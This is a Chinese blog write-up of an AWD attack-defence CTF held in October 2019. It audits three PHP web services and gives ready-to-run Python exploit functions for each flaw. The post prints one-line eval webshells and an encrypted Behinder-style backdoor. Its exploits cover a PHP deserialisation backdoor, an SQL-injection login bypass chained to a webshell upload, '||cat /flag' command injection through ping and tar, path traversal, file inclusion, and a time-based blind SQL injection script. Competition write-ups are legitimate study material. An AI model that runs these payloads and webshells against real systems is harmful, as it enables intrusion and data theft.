Contents
  1. 1. 比赛规则
  2. 2. Web1
    1. 2.1. 预留后门
    2. 2.2. 反序列化后门
    3. 2.3. 上传漏洞
  3. 3. Web2
    1. 3.1. 预留后门
    2. 3.2. 命令执行
    3. 3.3. 任意文件访问
    4. 3.4. 反序列化后门
  4. 4. Web3
    1. 4.1. 命令执行
    2. 4.2. 文件包含
    3. 4.3. sql注入
  5. 5. 总结

这是我的第一篇线上AWD比赛总结的文章,之前也打过几场AWD比赛,但都没有去总结,从这篇开始,希望以后有机会的话,能参加一次就总结一次。

比赛规则

  • 比赛时间 2019.10.3 14.20~17.20
  • 每个队伍分配到一个docker主机,给定web(web)/pwn(pwn)用户权限,通过特定的端口和密码进行连接;
  • 每台docker主机上运行一个web服务或者其他的服务,需要选手保证其可用性,并尝试审计代码,攻击其他队伍。
  • 选手可以通过使用漏洞获取其他队伍的服务器的权限,读取他人服务器上的flag并提交到平台上。
  • 每次成功攻击可获得5分,被攻击者扣除5分;
  • 有效攻击五分钟一轮。选手需要保证己方服务的可用性,每次服务不可用,扣除10分;
  • 服务检测五分钟一轮;
  • 不允许使用任何形式的DOS攻击,第一次发现扣1000分,第二次发现取消比赛资格。

Web1

先上D盾,看一下预留后门

1570264528719

预留后门

assets/scripts/pass.php

1
2
3
<?php
@eval($_POST['pass']);
?>

很简单直接的一句话后门

assets/images/yjh.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
//uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
//这里用于生成session
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");//读取post内容
if(!extension_loaded('openssl'))//检查openssl扩展是否已经加载
{//如果没有openssl
$t="base64_"."decode";
$post=$t($post."");//base64_decode

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; //进行异或加密
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);//aes加密
}
$arr=explode('|',$post);//返回由字符串组成的数组
$func=$arr[0];
$params=$arr[1];//获取第二个

class C
{
public function __construct($p) // __construct() 允许在实例化一个类之前先执行构造方法
{
eval($p."");//直接eval
}
}
@new C($params);
}
?>

冰蝎后门,r先生成随机的key值,然后通过key值对加密,如果服务器没有openssl拓展,则与key值进行异或解密,如果有openssl环境,则使用key值进行解密。

搞清楚了代码逻辑之后,编写利用脚本

服务端有openssl拓展的利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


def aes_encode(key, text):
key = key.encode()
text = text.encode()
text = pad(text, 16)
model = AES.MODE_CBC # 定义模式
aes = AES.new(key, model, b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0')
enPayload = aes.encrypt(text) # 加密明文
enPayload = base64.encodebytes(enPayload) # 将返回的字节型数据转进行base64编码
return enPayload

def getBinXie(url):
req = requests.session()
url = url+"/yjh.php"
par = {
'pass':''
}
key = req.get(url,params=par).content
key = str(key,encoding="utf8")
payload = '1|system("cat /flag");'
enPayload = aes_encode(key,payload)
res = req.post(url,enPayload).text
return res
if __name__ == '__main__':
url = "http://localhost"
flag = getBinXie(url)
print(flag)

因为php中加密方式是AES128,所以可以判断是CBC模式

服务端没有openssl拓展的利用脚本

当没有拓展的时候会执行异或加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def xorEncode(key,text):
textNew = ""
for i in range(len(text)):
left = ord(text[i])
rigth = ord(key[i+1&15])
textNew += chr(left ^ rigth)
textNew = base64.b64encode(textNew.encode())
textNew = str(textNew,encoding="utf8")
return textNew
def getBinXieXor(url):
req = requests.session()
url = url+"/login/yjh.php"
par = {
'pass':''
}
key = req.get(url,params=par).content
key = str(key,encoding="utf8")
text = "|system('cat /flag');"
enPayload = xorEncode(key,text)
res = req.post(url, enPayload).text
return res

在web1中,login\yjh.phppma\binxie2.0.1.phpyjh.php内容是一样的

反序列化后门

sqlhelper.php

D盾没扫出来的,还有一个反序列化后门

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_POST['un']) && isset($_GET['x'])){
class A{
public $name;
public $male;

function __destruct(){//析构方法,当这个对象用完之后,会自动执行这个函数中的语句
$a = $this->name;
$a($this->male);//利用点
}
}

unserialize($_POST['un']);
}

$a($this->amle)如果$a=eval;$b=system('cat /flag');就相当于eval(system("cat /flag"));

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $name;
public $male;

function __destruct(){//对象的所有引用都被删除或者当对象被显式销毁时执行
$a = $this->name;
$a($this->male);//利用点
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>

获得反序列化字符串

1
O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}

1570288065176

封装成攻击函数

1
2
3
4
5
6
7
8
def getSerialize(url):
import requests
url = url + "/sqlhelper.php?x=a"
payload = {
"un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
}
flag = requests.post(url=url,data=payload).content
return str(flag,encoding="utf8").strip()

上传漏洞

info.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
$helper = new sqlhelper();
$address = addslashes($_POST['address']);
if (isset($_POST['password'])) {
$password = md5($_POST['password']);
$sql = "UPDATE admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
} else {
$sql = "UPDATE admin SET address='$address' WHERE id=$_SESSION[id]";
}
$res = $helper->execute_dml($sql);
if ($res) {
echo "<script>alert('更新成功');</script>";
}
if (isset($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$type = $_FILES["file"]["type"];
if($type=="image/jpeg"){
$name =$_FILES["file"]["name"] ;
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
$helper = new sqlhelper();
$sql = "UPDATE admin SET icon='$name' WHERE id=$_SESSION[id]";
$helper->execute_dml($sql);
}
}else{
echo "<script>alert('不允许上传的类型');</script>";
}
}
}
}

?>

可以看到文件上传的这里,只验证了Cron-type,只要是把其修改为image/jepg就可以上传任意文件到assets/images/avatars/目录下了。

这里属于后台页面有权限控制,必须登陆后才能访问

1
2
3
4
5
<?php
session_start();
if (!isset($_SESSION['username'])){
header('Location: /login');
}

查看登陆页面login/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
$username=$_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where name='$username' and password='$password';";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
echo $sql;
if ($res->num_rows){
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
$_SESSION['icon'] = $row['icon'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
}else{
echo "<script>alert('用户名密码错误')</script>";
}
}

sql语句输入的部分没有任何过滤,很明显存在SQL注入漏洞,可以万能密码登陆绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close

username=admin'%23&password=ccccc

利用链为login/index.php万能密码登陆->info.php任意文件上传

编写攻击模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def getUPload(url):
import requests
req = requests.session()
datas = {
"username":"admin'#",
"password":""
}
login = req.post(url=url+"login/index.php",data=datas)

head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
"Cookie": "PHPSESSID="+login.cookies.items()[0][1]
}
datas = {
"address":"123123"
}

file = {
("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
}

req.post(url+"info.php",headers=head,files=file,data=datas).text

datas = {
"cmd":"system('cat /flag');",
}
flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
return flag.strip()

Web2

同样先用D盾扫一扫

1570329423056

预留后门

Login\index.php

1
2
3
4
5
<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>

images\pass.php 与icon\pww.php

是和Web1一样的冰蝎,这里就不再赘述

命令执行

connect.php

D盾报警的是这行$r = exec("ping -c 1 $host");

查看整段的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if ($check == 'net') {
$r = exec("ping -c 1 $host");
if ($r) {
?>
<div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
<span class="badge badge-pill badge-success">Success</span>
网络通畅
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<?php
} else {
?>
<div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
<span class="badge badge-pill badge-danger">Error</span>
网络异常
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<?php
}
}
echo "";
?>

发现并没有回显,而是根据状态来显示不同的html代码,其中$host变量是可控的,我们看下他是怎么赋值的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (isset($_GET['check'])) {
$check = $_GET['check'];
$id = intval($_GET['id']);
$sql = "SELECT host,port from host where id = $id";
$res = $helper->execute_dql($sql);
$row = $res->fetch_assoc();
$host = $row['host'];
$port = $row['port'];
if ($check=='web'){
$location = $host.':'.$port; // Get the URL from the user.
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$res_web = curl_exec($curl);
curl_close($curl);

}

}

可以看到是从数据库查询的结果,接着看他是如何插入数据库的

1
2
3
4
5
6
7
8
9
10
11
if (isset($_POST['host'])) {
$host = addslashes($_POST['host']);
$port = intval($_POST['port']);
if ($host && $port) {
$sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
$res = $helper->execute_dml($sql);
echo "<script>alert('成功加入云主机');</script>";
} else {
echo "<script>alert('不可以为空');</script>";
}
}

在传入的时候经过了addslashes转义,但是转义对命令执行漏洞来说没有什么作用。

connect.php中开头包含了header.php文件

1
2
3
4
<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();

header.php中包含了login_require.php在其中有session的检测

1
2
3
4
5
<?php
session_start();
if (!isset($_SESSION['username'])){
header('Location: /login');
}

login/index.php中存在传入的sql语句没有经过任何过滤,存在sql注入,可以使用万能密码登陆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_POST['username'])) {
include_once "../sqlhelper.php";
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where username='$username' and password='$password'";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
if ($res->num_rows) {
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
} else {
echo "<script>alert('用户名密码错误')</script>";
}
}
?>

构造payload

构造利用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close

host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123

因为没有回显所以将flag写入文件中,我们直接访问即可。
虽然有session检测,但是发现不登陆直接访问也可以

1570351218448

虽然304跳转了,但是却仍然执行命令了

编写利用模块

1
2
3
4
5
6
7
8
9
10
def getExec(url):
import requests
datas = {
"host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
"port":9999
}

requests.post(url+"/connect.php?check=net&id=16",data=datas)#执行命令
flag = requests.get(url+"1.txt").text
return flag.strip()

任意文件访问

img.php

1
2
3
4
5
6
7
<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用图片头输出浏览器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;

这里可以利用目录穿越,直接读取到flag

构造payload

1
/img.php?img=/../../../../../../flag

编写利用模块

1
2
3
4
5
6
7
def getImg(url):
import requests
param = {
"img":"/../../../../../../flag"
}
flag = requests.get(url+"/img.php",params=param).text
return flag.strip()

反序列化后门

sqlhelper.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class A{
public $name;
public $male;

function __destruct(){
$a = $this->name;
$a($this->male);
}
}

unserialize($_POST['un']);
?>

这里的利用和Web1中的利用是一样的,只不过少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']参数,用之前的利用模块即可

Web3

同样这里使用D盾扫一下

1570355119488

只扫到了一个

命令执行

export.php

1
2
3
4
5
6
7
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -cf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">导出成功,<a href='backup/$name'>点击下载</a></div>";
}
?>

构造payload

1
name=||cat /flag > /usr/local/apache2/htdocs/1.txt||

因为这里没有回显所以,也只能导出flag,或者可以利用这个后门写入Webshell

编写利用模块

1
2
3
4
5
6
7
8
def getExec3(url):
import requests
datas = {
"name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
}
requests.post(url+"/export.php",data=datas)
flag = requests.get(url+"/1.txt").text
return flag.strip()

文件包含

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include_once "login_require.php";
if (isset($_GET['page'])){
$page = $_GET['page'];

}else{
$page = 'chart.php';
}
?>
<!-- --><?php
include_once "$page";
// ?>

构造payload,直接包含flag文件(这里必须登陆,才可以利用)

1
index.php?page=../../../../flag

1570357708020

看一下login/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_POST['username'])) {
include_once "../sqlhelper.php";
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where username='$username' and password='$password'";
var_dump($sql);
$help = new sqlhelper();
$res = $help->execute_dql($sql);
if ($res->num_rows) {
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
} else {
echo "<script>alert('用户名密码错误')</script>";
}
}
?>

username处被addslashes()转义了,而且没有编码转换,所以菜鸡我绕不过。。。

这里只能使用默认的账号密码登陆,查看数据库中密码

1
2
INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');

经在线解密为123456

我们据此构造利用模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def getInclude(url):
import requests
import re
req = requests.session()
datas = {
"username":"admin",
"password":"123456"
}
login = req.post(url=url+"login/index.php",data=datas)

head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
"Cookie": "PHPSESSID="+login.cookies.items()[0][1]
}
param = {
"page":"../../../../flag"
}

rep = req.get(url+"/index.php",params=param,headers=head).text
keys = re.search("flag{(.+?)}",rep)
flag = keys.group(1)
flag = "flag{"+flag+"}"
return flag

这样就只有账号密码没有修改的会中招

sql注入

order.php

order.php处存在sql注入漏洞,用延时注入可以注入出来密码,但是效率有点低。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
$name = addslashes($_POST['name']);
$price = intval($_POST['price']);
if (isset($_FILES)) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$filename = $_FILES["file"]["name"];
if (file_exists("upload/" . $_FILES["file"]["name"])) {
echo "<script>alert('文件已经存在');</script>";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
}
}
} else {
echo "<script>alert('不允许上传的类型$t');</script>";
}
}


if ($name && $price) {
$sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
$res = $helper->execute_dml($sql);
if ($res){
echo "<script>alert('添加成功');</script>";

}
} else {
echo "<script>alert('添加失败');</script>";
}
}

这里的insert语句将'$name', '$price','$filename'带入了数据库

1
2
$name = addslashes($_POST['name']);
$price = intval($_POST['price']);

而$name和$price经过了处理,只有$filename参数可以利用了,可以使用延时注入

下面附上脚本,可以调用cmd5的接口进行md5解密,但是这个脚本跑下来效率很低

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#coding=utf8
import requests
import time


def getAdminPass(url):
passwdMd5 = ""
md5Api = "https://www.cmd5.com/api.ashx?email=邮箱&key=这里换上你的key&hash="
for i in range(32):
for c in range(32,127):
payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
print(payload)
file = {
("file", ("{0}".format(payload), "", "image/png"))
}
datas = {
"name": "1",
"price": "2"
}
start_time = time.time()
requests.post(url + "/order.php", data=datas, files=file)
end_time = time.time()
if (end_time - start_time) > 3:
passwdMd5 += chr(c)
print(passwdMd5)
break

passwd = requests.get(md5Api+passwdMd5).text.strip()
errDict = {
0:"解密失败",
-1:"无效的用户名密码",
-2:"余额不足",
-3:"解密服务器故障",
-4:"不识别的密文",
-7:"不支持的类型",
-8:"api权限被禁止",
-999:"其它错误"
}
if "CMD5-ERROR" in passwd:
index = passwd.rfind(":")
errId = passwd[index+1:]
errStr = errDict.get(int(errId))
return "[-]Error: "+errStr
else:
return passwd.strip()


if __name__ == '__main__':
url = "http://locahost:92"
passwd = getAdminPass(url)
print(passwd)

总结

这次比赛是三个web两个pwn,一共三个小时时间,比赛过程成惊叹于的师傅们的快速审计与漏洞利用能力,深深的感觉到了差距,下一步要提升一下自己的代码审计能力,除了之前打过的Xman结营攻防赛主办方会提供流量外,我在其他的awd比赛中,流量分析一直是处于翻车的状态,这次同样翻车了,赛前和w1nd师傅讨论过php文件没有?>闭合的情况,这次果然遇到了,当我把log.php包含到每一个php文件后的时候,500了,赶快还原备份,放弃日志记录,这次第一次用了文件监控,但是全场好像没有人往web2传shell,而在权限维持这块,虽然提前一天准备了rsa马,更是翻了车,手速太慢了,当做完基本加固之后,再去利用预留的webshell,脚本显示成功geshell了一个,访问后,文件确实存在,但是500错误,之后仔细研究下这个权限维持。

Contents
  1. 1. 比赛规则
  2. 2. Web1
    1. 2.1. 预留后门
    2. 2.2. 反序列化后门
    3. 2.3. 上传漏洞
  3. 3. Web2
    1. 3.1. 预留后门
    2. 3.2. 命令执行
    3. 3.3. 任意文件访问
    4. 3.4. 反序列化后门
  4. 4. Web3
    1. 4.1. 命令执行
    2. 4.2. 文件包含
    3. 4.3. sql注入
  5. 5. 总结